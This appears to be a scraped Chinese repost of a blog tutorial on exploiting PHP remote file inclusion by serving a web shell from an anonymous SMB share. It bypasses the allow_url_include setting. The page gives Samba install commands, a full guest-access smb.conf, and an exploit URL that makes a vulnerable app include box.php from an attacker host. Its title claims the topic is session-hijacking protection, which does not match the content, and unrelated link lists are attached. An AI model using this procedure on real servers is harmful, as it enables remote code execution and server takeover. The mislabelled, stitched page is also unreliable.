php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)
php防session劫持
使用SMB共享来绕过php远程文件包含的限制执行RFI的利用在这篇博文中,我将为大家演示如何利用php应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行rfi的利用,即使php环境被配置为不包含来自远程http/ftp url的文件。
php 和 smb 共享文件访问
在php配置文件中,“allow_url_include”wrapper默认设置为“off”,指示php不加载远程http或ftp url,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“off”,php也不会阻止加载smb url。而这就极有可能被滥用来从smb共享加载远程托管的php web shell。
攻击场景概述
当易受攻击的php应用程序代码尝试从受攻击者控制的smb共享加载php web shell时,smb共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的smb服务器。因此,一旦易受攻击的应用程序尝试从smb共享访问php web shell,smb服务器将不会要求任何的凭据,易受攻击的应用程序将包含web shell的php代码。
首先,我重新配置了php环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的smb服务器。一旦smb共享准备就绪,我们就可以利用易受攻击的应用程序了。
php 环境设置
将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“off”
以下是版本为“5.5.11”的php当前配置截图:
在继续下一步之前,让我们确保当我们尝试访问http上托管的web shell时,php代码不允许远程文件包含。
可以看到,当我试图从远程主机包含php web shell时,应用程序抛出错误并且没有包含远程文件。
使用匿名浏览访问配置 samba 服务器(linux 机器)
使用以下命令安装samba服务器:
apt-get install samba创建smb共享目录:
mkdir /var/www/html/pub/
配置新创建的smb共享目录的权限:
|
chmod 0555 / var /www/html/pub/ chown -r nobody:nogroup / var /www/html/pub/ |
运行以下命令,删除samba服务器配置文件的默认内容。
echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。
|
[ global ] workgroup = workgroup server string = samba server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = / var /www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 |
force user = nobody
现在,重启samba服务器以使配置文件/etc/samba/smb.conf中的新配置生效。
service smbd restart成功重启samba服务器后,尝试访问smb共享并确保samba服务器不要求提供凭据。
在本例中,samba服务器ip为192.168.0.3,我需要访问windows文件浏览器中的smb共享,如下:\\192.168.0.3\
在 smb 共享中托管 php web shell
太棒了!可以访问smb共享,并显示目录“ica”存在。
现在,将php shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。
成功托管php shell后,我们使用windows文件浏览器访问smb共享目录“ica”。
\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。
利用文件包含易受攻击的参数
让我们使用这个php shell smb链接,以及易受攻击的php代码浏览它。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpphp易受攻击的代码从smb共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的web shell。
总结
以上所述是小编给大家介绍的使用smb共享来绕过php远程文件包含的限制执行rfi的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对开心学习网网站的支持!
原文链接:https://www.freebuf.com/articles/web/203577.html
- php秒杀实现代码(php无限极分类实现方法分析)
- php命名对照表(PHP命名空间用法实例分析)
- php命名空间真的存在吗(PHP中命名空间的使用例子)
- php面向对象运用场景(PHP面向对象类型约束用法分析)
- php依赖注入对象注册(php依赖注入知识点详解)
- php在没有命名空间之前是怎么调(php命名空间设计思想、用法与缺点分析)
- thinkphp5表单系统(thinkphp 5框架实现登陆,登出及session登陆状态检测功能示例)
- apache2.4支持php5.5吗(WINDOWS下php5.2.4+mysql6.0+apache2.2.4+ZendOptimizer-3.3.0配置)
- 学会php的路线图(PHP进阶学习之Geo的地图定位算法详解)
- phpstudy显示403(phpStudy配置多站点多域名方法及遇到的403错误解决方法)
- thinkphp5.1 执行流程(Thinkphp5.0 框架的请求方式与响应方式分析)
- php把当前网页生成pdf(php转换上传word文件为PDF的方法基于COM组件)
- phpstudy的默认网站根目录是什么(phpstudy v8.0创建本地站点域名教程图文)
- php class使用场景(php反射学习之不用new方法实例化类操作示例)
- php多维数组怎么转换json(php实现的数组转xml案例分析)
- php验证码思路(PHP实现字母数字混合验证码功能)
- 苹果正式发布自研芯片M1 5nm 32核心 彻底放弃Intel(苹果正式发布自研芯片M1)
- 苹果自研芯片跑分对比 A16芯片排名靠后,M1系列霸榜(苹果自研芯片跑分对比)
- X86处理器的梦魇 苹果M1自研芯片到底有多强(苹果M1自研芯片到底有多强)
- 泰剧《爱欲之神》Boom kitkong和Great合体杂志(泰剧爱欲之神Boomkitkong和Great合体杂志)
- 素人恋爱综艺火药味十足 男生为赢得芳心集体扯头花,真是出好戏(素人恋爱综艺火药味十足)
- 《囧妈》为何受抵制 春节七部影片撤档背后的责任与博弈(囧妈为何受抵制)
热门推荐
- python图像仿射变换(详解Python计算机视觉 图像扭曲仿射扭曲)
- js弹出新窗口被拦截的解决方法
- css竖排显示技巧(css魔法之左边竖条的多种实现方法)
- react怎么添加动态html(react中的DOM操作实现)
- VS中打开.ashx文件
- python html文字分段(Python对HTML转义字符进行反转义的实现方法)
- python转换doc到pdf(利用python将图片版PDF转文字版PDF)
- docker redis配置文件放哪里(最详细的docker中安装并配置redis图文详解)
- 排序算法口诀php(PHP快速排序算法实现的原理及代码详解)
- 基于docker的平台搭建(基于docker搭建selenium分布式环境)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9